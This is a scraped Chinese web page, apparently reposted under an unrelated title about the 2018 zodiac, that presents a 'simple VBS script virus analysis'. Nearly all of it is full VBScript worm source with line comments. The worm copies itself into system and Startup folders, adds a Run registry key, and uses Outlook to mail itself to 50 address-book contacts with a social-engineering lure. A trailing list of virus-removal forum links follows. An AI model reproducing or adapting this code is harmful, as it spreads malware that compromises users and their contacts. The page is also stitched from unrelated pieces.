2018年立春后属什么:简单VBS脚本病毒分析

来源：百度文库 编辑：偶看新闻 时间：2024/05/07 19:35:01

简单VBS脚本病毒分析

 

On Error Resume Next '出错了便执行下一条代码Set fs=CreateObject("Scripting.FileSystemObject") '把fs定义为FSO变量Set dir1=fs.GetSpecialFolder(0) '获取你的WINDOWS文件夹的地址，由dir1记录这个地址Set dir2 = fs.GetSpecialFolder(1) '获取system的文件夹地址，由Dir2记录这个地址Set so=CreateObject("Scripting.FileSystemObject") '定义so为fso变量dim r '定义R为一个变量Set r=CreateObject("Wscript.Shell") '把r定义为Wscript.shell组件so.GetFile(WScript.ScriptFullName).Copy(dir1&"\qq600.vbs") '获取自己的目录然后把自己拷贝到系统文件夹下的qq600.vbs里so.GetFile(WScript.ScriptFullName).Copy(dir2&"\qq600.vbs") '获取自己的目录然后把自己拷贝到system文件夹下so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\qq600.vbs") '获取自己的目录然后把自己复制到启动组里r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qq600","qq600.vbs" '修改启动项（run嘛！！）把自己添加到启动项里！（删除qq600这个键直就可以删除启动了）r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","..."  '开机对话框r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","....."  '同上Set ol=CreateObject("Outlook.Application") '定义ol为Outlook.application组件On Error Resume Next '出错了执行下一个语句For x=1 To 50     '开始一个for循环Set Mail=ol.CreateItem(0)  '就是他妈的自动发信！我语文不好不知道怎么表达了Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) '从第一个到x的直挨个发EmailMail.Subject="老同学，还记得我不？"  '题目Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！   星竹网络"  '内容Mail.Attachments.Add(dir2&"qq600.vbs") '添加附件Mail.Send '结束Next '跳出循环ol.Quit  '推出Outlook.Application组件
我的电脑出现Dropper.vbs..imor.f脚本病毒 高分求怎样去除脚本病毒Exploit.VBS.Phel.bs? 关于一个脚本病毒Trojan.DL.VBS.Agent.1 脚本病毒 Trojan.DL.VBS.Agent.r怎么杀? .vbs的脚本引擎 VBS，JS脚本？ VBS脚本运行问题 高分求vbs脚本 怎样用VBS脚本操作注册表？ 美萍下VBS脚本运行问题? 怎样用VBS脚本操作文件 VBS.DL.******是什么病毒？ 杀“VBS.StartPage”病毒 vbs kg是什么病毒？？ vbs病毒程序代码 Trojan.DL.VBS.Agent.j这个脚本病毒如何删除？？请各位大虾相助！！！泪…… 脚本病毒的扩展名为VBS、VBE、JS、JSE、WSH、WSF的文件搜索出来可以删除吗 VBS.StartPage.d脚本病毒有什么危害？发现病毒时候杀毒软件没能杀掉，升级后我想把病毒找到杀了 脚本病毒 关于文件扩展“.vbs”的脚本引擎 没有文件扩展“vbs”的脚本引擎 如何用命令打开VBS、JS脚本 windows中的 “.vbs”脚本引擎是什么？ VBS 脚本 C++ 学那一个前途更大